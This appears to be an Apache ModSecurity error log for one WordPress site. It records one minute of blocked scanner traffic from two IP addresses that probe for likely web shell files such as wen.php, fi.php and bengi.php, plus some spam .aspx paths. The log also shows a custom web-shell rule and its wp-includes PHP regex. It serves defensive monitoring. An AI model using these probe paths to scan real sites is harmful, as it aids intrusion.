[Sun Apr 12 16:47:22.335762 2026] [:error] [pid 26599:tid 26613] [client 68.221.68.72:63527] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adtcGnG89LXoQbk_rwC04wAAAUs"]
[Sun Apr 12 16:47:23.429751 2026] [:error] [pid 25437:tid 25439] [client 68.221.68.72:62898] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adtcG3f97wYZje1ep_MP4QAAAMA"]
[Sun Apr 12 16:47:24.593896 2026] [:error] [pid 25437:tid 25446] [client 54.36.179.84:59302] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adtcHHf97wYZje1ep_MP4gAAAMc"]
[Sun Apr 12 16:47:24.649935 2026] [:error] [pid 25437:tid 25444] [client 68.221.68.72:65298] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adtcHHf97wYZje1ep_MP4wAAAMU"]
[Sun Apr 12 16:47:25.524293 2026] [:error] [pid 25327:tid 25350] [client 68.221.68.72:64714] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adtcHS6h2tZEVJo9JFK4pgAAAA4"]
[Sun Apr 12 16:47:26.189687 2026] [:error] [pid 26599:tid 26618] [client 68.221.68.72:61685] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adtcHnG89LXoQbk_rwC05wAAAVA"]
[Sun Apr 12 16:47:26.990599 2026] [:error] [pid 26600:tid 26640] [client 68.221.68.72:64706] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adtcHu1YwAZiXhQKLYoQQgAAAYs"]
[Sun Apr 12 16:47:27.153192 2026] [:error] [pid 26599:tid 26626] [client 54.36.179.84:48904] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adtcH3G89LXoQbk_rwC06QAAAVg"]
[Sun Apr 12 16:47:28.301438 2026] [:error] [pid 60280:tid 60285] [client 68.221.68.72:64722] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adtcIHBlLnDOYuIykkgnGgAAAcM"]
[Sun Apr 12 16:47:29.769423 2026] [:error] [pid 60280:tid 60287] [client 68.221.68.72:63962] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adtcIXBlLnDOYuIykkgnIAAAAcU"]
[Sun Apr 12 16:47:29.835224 2026] [:error] [pid 60280:tid 60301] [client 54.36.179.84:48918] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adtcIXBlLnDOYuIykkgnIQAAAdM"]
[Sun Apr 12 16:47:31.169755 2026] [:error] [pid 25329:tid 25413] [client 68.221.68.72:62857] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adtcI2dcIYsS8Iyaj12XNAAAAJY"]
[Sun Apr 12 16:47:32.442561 2026] [:error] [pid 26599:tid 26607] [client 54.36.179.84:48932] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adtcJHG89LXoQbk_rwC08gAAAUU"]
[Sun Apr 12 16:47:34.886842 2026] [:error] [pid 26599:tid 26621] [client 68.221.68.72:62836] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adtcJnG89LXoQbk_rwC09AAAAVM"]
[Sun Apr 12 16:47:34.889920 2026] [:error] [pid 26567:tid 26585] [client 54.36.179.84:48948] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adtcJnhRpg6ptWFyFx2JoAAAARA"]
[Sun Apr 12 16:47:35.813156 2026] [:error] [pid 60280:tid 60292] [client 68.221.68.72:64059] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adtcJ3BlLnDOYuIykkgnLgAAAco"]
[Sun Apr 12 16:47:36.609357 2026] [:error] [pid 26567:tid 26578] [client 68.221.68.72:63449] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adtcKHhRpg6ptWFyFx2JogAAAQk"]
[Sun Apr 12 16:47:37.429897 2026] [:error] [pid 25437:tid 25452] [client 54.36.179.84:59400] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adtcKXf97wYZje1ep_MP6wAAAM0"]
[Sun Apr 12 16:47:37.616726 2026] [:error] [pid 60280:tid 60287] [client 68.221.68.72:65268] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adtcKXBlLnDOYuIykkgnNgAAAcU"]
[Sun Apr 12 16:47:38.650107 2026] [:error] [pid 26567:tid 26587] [client 68.221.68.72:62900] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adtcKnhRpg6ptWFyFx2JpAAAARI"]
[Sun Apr 12 16:47:39.994355 2026] [:error] [pid 26567:tid 26573] [client 68.221.68.72:65303] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adtcK3hRpg6ptWFyFx2JpwAAAQQ"]
[Sun Apr 12 16:47:40.885606 2026] [:error] [pid 25328:tid 25370] [client 68.221.68.72:63964] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adtcLMxUaQZxT-e0YsDi5wAAAEY"]
[Sun Apr 12 16:47:41.926354 2026] [:error] [pid 60280:tid 60290] [client 68.221.68.72:63961] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adtcLXBlLnDOYuIykkgnQAAAAcg"]
[Sun Apr 12 16:47:42.580795 2026] [:error] [pid 25437:tid 25446] [client 68.221.68.72:63429] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adtcLnf97wYZje1ep_MP9gAAAMc"]
[Sun Apr 12 16:47:45.788256 2026] [:error] [pid 60280:tid 60298] [client 68.221.68.72:64758] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adtcMXBlLnDOYuIykkgnRwAAAdA"]
[Sun Apr 12 16:47:46.503006 2026] [:error] [pid 26567:tid 26577] [client 68.221.68.72:64732] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adtcMnhRpg6ptWFyFx2JswAAAQg"]
[Sun Apr 12 16:47:47.164894 2026] [:error] [pid 60280:tid 60295] [client 68.221.68.72:65314] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adtcM3BlLnDOYuIykkgnTQAAAc0"]
[Sun Apr 12 16:47:47.845900 2026] [:error] [pid 25327:tid 25337] [client 68.221.68.72:65235] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adtcMy6h2tZEVJo9JFK4rgAAAAE"]
[Sun Apr 12 16:47:48.427648 2026] [:error] [pid 25327:tid 25356] [client 68.221.68.72:65242] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtcNC6h2tZEVJo9JFK4sQAAABQ"]
[Sun Apr 12 16:47:49.154105 2026] [:error] [pid 25329:tid 25411] [client 68.221.68.72:62884] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtcNWdcIYsS8Iyaj12XPAAAAJQ"]
[Sun Apr 12 16:47:50.100163 2026] [:error] [pid 25329:tid 25397] [client 68.221.68.72:64768] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtcNmdcIYsS8Iyaj12XPgAAAIw"]
[Sun Apr 12 16:47:51.508446 2026] [:error] [pid 26600:tid 26653] [client 68.221.68.72:63990] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtcN-1YwAZiXhQKLYoQVgAAAZg"]
[Sun Apr 12 16:47:53.479379 2026] [:error] [pid 25329:tid 25388] [client 68.221.68.72:64757] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adtcOWdcIYsS8Iyaj12XQAAAAIc"]
[Sun Apr 12 16:47:56.144415 2026] [:error] [pid 25329:tid 25386] [client 68.221.68.72:64725] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adtcPGdcIYsS8Iyaj12XQQAAAIY"]
[Sun Apr 12 16:48:02.265620 2026] [:error] [pid 26599:tid 26611] [client 68.221.68.72:64816] [client 68.221.68.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adtcQnG89LXoQbk_rwC1DQAAAUk"]
[Sun Apr 12 16:48:06.420840 2026] [:error] [pid 25328:tid 25379] [client 68.221.68.72:63977] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adtcRsxUaQZxT-e0YsDjIAAAAEs"]
[Sun Apr 12 16:48:07.052111 2026] [:error] [pid 60280:tid 60296] [client 68.221.68.72:64788] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adtcR3BlLnDOYuIykkgndQAAAc4"]
[Sun Apr 12 16:48:07.607042 2026] [:error] [pid 26599:tid 26611] [client 68.221.68.72:63536] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adtcR3G89LXoQbk_rwC1GQAAAUk"]
[Sun Apr 12 16:48:08.340126 2026] [:error] [pid 26567:tid 26571] [client 68.221.68.72:63503] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adtcSHhRpg6ptWFyFx2JugAAAQI"]
[Sun Apr 12 16:48:09.270465 2026] [:error] [pid 60280:tid 60287] [client 68.221.68.72:62895] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adtcSXBlLnDOYuIykkgngAAAAcU"]
[Sun Apr 12 16:48:09.947721 2026] [:error] [pid 25327:tid 25339] [client 68.221.68.72:65310] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adtcSS6h2tZEVJo9JFK4wQAAAAM"]
[Sun Apr 12 16:48:10.475856 2026] [:error] [pid 26567:tid 26569] [client 68.221.68.72:65311] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adtcSnhRpg6ptWFyFx2JvwAAAQA"]
[Sun Apr 12 16:48:11.357485 2026] [:error] [pid 26567:tid 26578] [client 68.221.68.72:63951] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adtcS3hRpg6ptWFyFx2JwwAAAQk"]
[Sun Apr 12 16:48:11.969392 2026] [:error] [pid 25329:tid 25386] [client 68.221.68.72:64052] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adtcS2dcIYsS8Iyaj12XSAAAAIY"]
[Sun Apr 12 16:48:12.573980 2026] [:error] [pid 26599:tid 26626] [client 68.221.68.72:64058] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adtcTHG89LXoQbk_rwC1GwAAAVg"]
[Sun Apr 12 16:48:13.382139 2026] [:error] [pid 25328:tid 25403] [client 68.221.68.72:62887] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adtcTcxUaQZxT-e0YsDjLQAAAFY"]
[Sun Apr 12 16:48:14.077209 2026] [:error] [pid 25437:tid 25459] [client 68.221.68.72:64027] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adtcTnf97wYZje1ep_MQCwAAANQ"]
[Sun Apr 12 16:48:14.614086 2026] [:error] [pid 25328:tid 25408] [client 68.221.68.72:63463] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adtcTsxUaQZxT-e0YsDjMQAAAFg"]
[Sun Apr 12 16:48:15.168655 2026] [:error] [pid 26599:tid 26624] [client 68.221.68.72:62793] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adtcT3G89LXoQbk_rwC1HgAAAVY"]
[Sun Apr 12 16:48:15.759877 2026] [:error] [pid 60280:tid 60287] [client 68.221.68.72:64019] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adtcT3BlLnDOYuIykkgngwAAAcU"]
[Sun Apr 12 16:48:16.434051 2026] [:error] [pid 26599:tid 26621] [client 68.221.68.72:64726] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adtcUHG89LXoQbk_rwC1HwAAAVM"]
[Sun Apr 12 16:48:17.013353 2026] [:error] [pid 26599:tid 26612] [client 68.221.68.72:64714] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adtcUXG89LXoQbk_rwC1IQAAAUo"]
[Sun Apr 12 16:48:17.525808 2026] [:error] [pid 26599:tid 26623] [client 68.221.68.72:65223] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adtcUXG89LXoQbk_rwC1JAAAAVU"]
[Sun Apr 12 16:48:18.093013 2026] [:error] [pid 60280:tid 60295] [client 68.221.68.72:65335] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adtcUnBlLnDOYuIykkgnhQAAAc0"]
[Sun Apr 12 16:48:18.724998 2026] [:error] [pid 25327:tid 25343] [client 68.221.68.72:64767] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adtcUi6h2tZEVJo9JFK4xwAAAAc"]
